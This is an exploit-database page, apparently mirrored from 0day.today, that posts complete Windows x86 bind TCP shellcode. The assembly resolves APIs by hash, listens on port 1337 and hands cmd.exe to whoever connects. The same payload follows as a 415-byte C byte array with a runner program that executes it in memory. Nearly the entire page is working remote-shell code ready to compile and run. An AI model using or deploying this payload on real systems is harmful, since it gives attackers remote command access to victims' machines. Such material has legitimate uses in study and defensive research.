Lucene search
K

Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes)

🗓️ 07 Oct 2021 00:00:00Reported by h4pp1n3ssType 
zdt
 zdt
🔗 0day.today👁 450 Views

Windows/x86 - Bind TCP shellcode using Dynamic PEB & EDT method

Code
; Name: Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes)
; Author: h4pp1n3ss
; Tested on: Microsoft Windows [Version 10.0.19042.1237]

; Description: 
; This a bind tcp shellcode that open a listen socket on 0.0.0.0 and port 1337. In order to accomplish this task the shellcode uses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols. 
; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length. 

 start:                            ;

   mov   ebp, esp                  ;
   add   esp, 0xfffff9f0           ; Avoid null-bytes and stack clobbering

 find_kernel32:

    xor   ecx, ecx                  ; ECX = Null
    mov   esi,fs:[ecx+0x30]         ; ESI = &(PEB) ([FS:0x30])
    mov   esi,[esi+0x0C]            ; ESI = PEB->Ldr
    mov   esi,[esi+0x1C]            ; ESI = PEB->Ldr.InInitOrder

 next_module:                       ;

    mov   ebx, [esi+0x08]           ; EBX = InInitOrder[X].base_address
    mov   edi, [esi+0x20]           ; EDI = InInitOrder[X].module_name
    mov   esi, [esi]                ; ESI = InInitOrder[X].flink (next module)
    cmp   [edi+12*2], cx            ; (unicode) module_name[12] == 0x00 / we found kernel32.dll?
    jne   next_module               ; No: try next module

 find_function_shorten:             ;

   jmp find_function_shorten_bnc    ; short jump 

 find_function_ret:                 ;

    pop esi                         ; ESI = POP return addres 
    mov   [ebp+0x04], esi           ; Save find_function address for later usage
    jmp resolve_symbols_kernel32    ;

 find_function_shorten_bnc:         ;
    call find_function_ret          ; Call fund_function_ret PUSH ret address into the stack

 find_function:                     ;

    pushad                          ; Save all registers
    mov   eax, [ebx+0x3c]           ; Offset of PE signature
    mov   edi, [ebx+eax+0x78]       ; Export Table Directory RVA
    add   edi, ebx                  ; Export Table Directory VMA
    mov   ecx, [edi+0x18]           ; NumberOfNames 
    mov   eax, [edi+0x20]           ; AddressOfNames RVA
    add   eax, ebx                  ; AddresOfNames VMA
    mov   [ebp-4], eax              ; Save AddressOfName VMA for later usage
 
 find_function_loop:                ;
    jecxz find_function_finished    ; Jump to the end if ECX is 0
    dec   ecx                       ; Decrement our counter
    mov   eax, [ebp-4]              ; Restore AddressOfNames VMA
    mov   esi, [eax+ecx*4]          ; Get the RVA of the symbol name
    add   esi, ebx                  ; Set ESI to the VMA of the current symbol name
 
 compute_hash:                      ; 
    xor   eax, eax                  ; EAX = Null
    cdq                             ; Null EDX 
    cld                             ; Clear direction flag
 
 compute_hash_again:
    lodsb                           ; Load the next bytes from ESI into al
    test  al, al                    ; Check for Null terminator
    jz    compute_hash_finished     ; If the ZF is set, we've hit the NULL term
    ror   edx, 0x0d                 ; Rotate edx 13 bits to the right
    add   edx, eax                  ; Add the new byte to the accumulator
    jmp   compute_hash_again        ; Next iteration
 
 compute_hash_finished:             ;
 
 find_function_compare:
    cmp   edx, [esp+0x24]           ; Compare the computed hash with the requested hash
    jnz   find_function_loop        ; If it doesn't match go back to find_function_loop
    mov   edx, [edi+0x24]           ; AddressOfNameOrdinals RVA
    add   edx, ebx                  ; AddressOfNameOrdinals VMA
    mov   cx,  [edx+2*ecx]          ; Extrapolate the function's ordinal
    mov   edx, [edi+0x1c]           ; AddressOfFunctions RVA
    add   edx, ebx                  ; AddressOfFunctions VMA
    mov   eax, [edx+4*ecx]          ; Get the function RVA
    add   eax, ebx                  ; Get the function VMA
    mov   [esp+0x1c], eax           ; Overwrite stack version of eax from pushad
 
 find_function_finished:            ;
    popad                           ; Restore registers
    ret                             ;
 
 resolve_symbols_kernel32:          ;
    push 0x78b5b983                 ; TerminateProcess hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x10], eax           ; Save TerminateProcess address for later usage
    push 0xec0e4e8e                 ; LoadLibraryA hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x14], eax           ; Save LoadLibraryA address for later usage
    push 0x16b3fe72                 ; CreateProcessA hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x18], eax           ; Save CreateProcessA address for later usage

 load_ws2_32:                       ;
    xor   eax, eax                  ; EAX = Null
    mov ax, 0x6c6c                  ; EAX = 0x6c6c
    push eax                        ; ESP = "ll"
    push dword 0x642e3233           ; ESP = "32.dll"
    push dword 0x5f327377           ; ESP = "ws2_32.dll"
    push  esp                       ; ESP = &("ws2_32.dll")
    call dword  [ebp+0x14]          ; Call LoadLibraryA

resolve_symbols_ws2_32:
    mov   ebx, eax                  ; Move the base address of ws2_32.dll to EBX
    push 0x3bfcedcb                 ; WSAStartup hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x1C], eax           ; Save WSAStartup address for later usage
    push 0xadf509d9                 ; WSASocketA hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x20], eax           ; Save WSASocketA address for later usage
    push 0xc7701aa4                 ; Bind hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x24], eax           ; Save Bind address for later usage
    push 0xe92eada4                 ; listen hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x28], eax           ; Save listen address for later usage
    push 0x9f5b7976                 ; WSAGetLastError hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x32], eax           ; Save WSAGetLastError address for later usage
    push 0x498649e5                 ; accept hash
    call dword  [ebp+0x04]          ; Call find_function
    mov   [ebp+0x36], eax           ; Save acccept address for later usage
 
 call_wsastartup:                   ; 
    mov   eax, esp                  ; Move ESP to EAX
    mov   cx, 0x590                 ; Move 0x590 to CX
    sub   eax, ecx                  ; Substract CX from EAX to avoid overwriting the structure later
    push  eax                       ; Push lpWSAData
    xor   eax, eax                  ; EAX = Null
    mov   ax, 0x0202                ; Move version to AX
    push  eax                       ; Push wVersionRequired (0x00000202)
    call dword  [ebp+0x1C]          ; Call WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)
 
 call_wsasocketa:                   ; WSASocketA(AF_INET = 2, SOCK_STREAM = 1, TCP = 6, NULL, NULL, NULL )
    xor   eax,  eax                 ; EAX = Null
    push  eax                       ; Push dwFlags
    push  eax                       ; Push g
    push  eax                       ; Push lpProtocolInfo
    mov   al, 0x06                  ; Move AL, IPPROTO_TCP
    push  eax                       ; Push protocol
    sub   al, 0x05                  ; Substract 0x05 from AL, AL = 0x01
    push  eax                       ; Push type
    inc   eax                       ; Increase EAX, EAX = 0x02
    push  eax                       ; Push af
    call dword  [ebp+0x20]          ; Call WSASocketA(2,1,6,0,0,0)
 
 create_sockaddr_in_struct:         ; sockaddr_in {AF_INET = 2; p1337 = 0x3905; INADDR_ANY = 0x5D00A8C0}
    mov   esi, eax                  ; Move the SOCKET descriptor to ESI
    xor   eax, eax                  ; EAX = Null
    push eax                        ; Push sin_addr (any address 0.0.0.0)
    mov ax, 0x3905                  ; Move the sin_port (example: 1337) to AX (EAX = 0x00003905)   
    shl   eax, 0x10                 ; Left shift EAX by 0x10 bytes (EAX = 0x39050000)
    add   ax, 0x02                  ; Add 0x02 (AF_INET) to AX
    push  eax                       ; Push sin_port & sin_family
    push  esp                       ; Push pointer to the sockaddr_in structure
    pop   edi                       ; EDI = &(sockaddr_in)
 
 call_bind:                         ; bind(SOCKET *s = ESI, const sockaddr *addr = EDI, int  namelen = 0x16)
    xor   eax, eax                  ; EAX = Null
    add   al, 0x16                  ; Set AL to 0x16
    push  eax                       ; Push namelen
    push  edi                       ; Push *addr
    push  esi                       ; Push s
    call dword  [ebp+0x24]          ; Call bind
 
 call_wsagetlaserror:               ; WSAGetLastError() (just for debugging purpouse)
    call dword  [ebp+0x32]          ; Call WSAGetLastError
 
 call_listen:                       ; 
    xor  eax, eax                   ; EAX = Null
    push  eax                       ; Push backlog
    push  esi                       ; Push s
    call dword  [ebp+0x28]          ; Call WS2_32!listen
 
 call_accept:                       ; accept( SOCKET s, sockaddr *addr, int *addrlen)
    xor  eax, eax                   ; EAX = Null
    push  eax                       ; Push *addrlen (optional)
    push  eax                       ; Push *addr    (optional)
    push  esi                       ; Push socket HANDLE from WSASocketA()
    call dword  [ebp+0x36]          ; Call accept(SOCKET s ,Null, Null)
 
 create_startupinfoa:               ; 
    mov   esi, eax                  ; Save Handle returned from accept() into ESI
    push  esi                       ; Push hStdError
    push  esi                       ; Push hStdOutput
    push  esi                       ; Push hStdInput
    xor   eax, eax                  ; EAX = Null
    push  eax                       ; Push lpReserved2
    push  eax                       ; Push cbReserved2 & wShowWindow
    mov   al, 0x80                  ; Move 0x80 to AL
    xor   ecx, ecx                  ; EAX = Null
    mov   cl, 0x80                  ; Move 0x80 to CL
    add   eax, ecx                  ; Set EAX to 0x100
    push  eax                       ; Push dwFlags
    xor   eax, eax                  ; EAX = Null
    push  eax                       ; Push dwFillAttribute
    push  eax                       ; Push dwYCountChars
    push  eax                       ; Push dwXCountChars
    push  eax                       ; Push dwYSize
    push  eax                       ; Push dwXSize
    push  eax                       ; Push dwY
    push  eax                       ; Push dwX
    push  eax                       ; Push lpTitle
    push  eax                       ; Push lpDesktop
    push  eax                       ; Push lpReserved
    mov   al, 0x44                  ; Move 0x44 to AL
    push  eax                       ; Push cb
    push  esp                       ; Push pointer to the STARTUPINFOA structure
    pop   edi                       ; Store pointer to STARTUPINFOA in EDI
 
 create_cmd_string:                 ; 
    mov   eax, 0xff9a879b           ; Move 0xff9a879b into EAX
    neg   eax                       ; Negate EAX, EAX = 00657865
    push  eax                       ; Push part of the "cmd.exe" string
    push  0x2e646d63                ; Push the remainder of the "cmd.exe" string
    push  esp                       ; Push pointer to the "cmd.exe" string
    pop   ebx                       ; Store pointer to the "cmd.exe" string in EBX
 
 call_createprocessa:               ; 
    mov   eax, esp                  ; Move ESP to EAX
    xor   ecx, ecx                  ; ECX = Null
    mov   cx, 0x390                 ; Move 0x390 to CX
    sub   eax, ecx                  ; Substract CX from EAX to avoid overwriting the structure later
    push  eax                       ; Push lpProcessInformation
    push  edi                       ; Push lpStartupInfo
    xor   eax, eax                  ; EAX = Null
    push  eax                       ; Push lpCurrentDirectory
    push  eax                       ; Push lpEnvironment
    push  eax                       ; Push dwCreationFlags
    inc   eax                       ; Increase EAX, EAX = 0x01 (TRUE)
    push  eax                       ; Push bInheritHandles
    dec   eax                       ; EAX = Null
    push  eax                       ; Push lpThreadAttributes
    push  eax                       ; Push lpProcessAttributes
    push  ebx                       ; Push lpCommandLine
    push  eax                       ; Push lpApplicationName
    call dword  [ebp+0x18]          ; Call CreateProcessA
 
 call_terminate_process:            ; 
    xor  eax, eax                   ; EAX = Null
    push  eax                       ; uExitCode
    push  0xffffffff                ; HANDLE hProcess
    call dword  [ebp+0x04]          ; Call TerminateProcess
	
	
[*]================================= POC =============================== [*]



/*

 Shellcode runner author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// nasm -f win32 shellcode.asm -o shellcode.o
// objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


unsigned char payload[] = 
		"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b"
		"\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06"
		"\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03"
		"\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b"
		"\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca"
		"\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b"
		"\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3"
		"\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55"
		"\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66"
		"\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14"
		"\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad"
		"\xff\x55\x04\x89\x45\x20\x68\xa4\x1a\x70\xc7\xff\x55\x04\x89\x45\x24\x68"
		"\xa4\xad\x2e\xe9\xff\x55\x04\x89\x45\x28\x68\x76\x79\x5b\x9f\xff\x55\x04"
		"\x89\x45\x32\x68\xe5\x49\x86\x49\xff\x55\x04\x89\x45\x36\x89\xe0\x66\xb9"
		"\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50"
		"\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50"
		"\x66\xb8\x05\x39\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x04\x16"
		"\x50\x57\x56\xff\x55\x24\xff\x55\x32\x31\xc0\x50\x56\xff\x55\x28\x31\xc0"
		"\x50\x50\x56\xff\x55\x36\x89\xc6\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31"
		"\xc9\xb1\x80\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"
		"\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e"
		"\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50"
		"\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc0\x50\x6a\xff\xff\x55"
		"\x04";

unsigned int payload_len = 415;

int main(void) {

	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(exec_mem, payload, payload_len);
	
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("Shellcode Length:  %d\n", strlen(payload));
	
	if ( rv != 0 ) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
		
	}

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation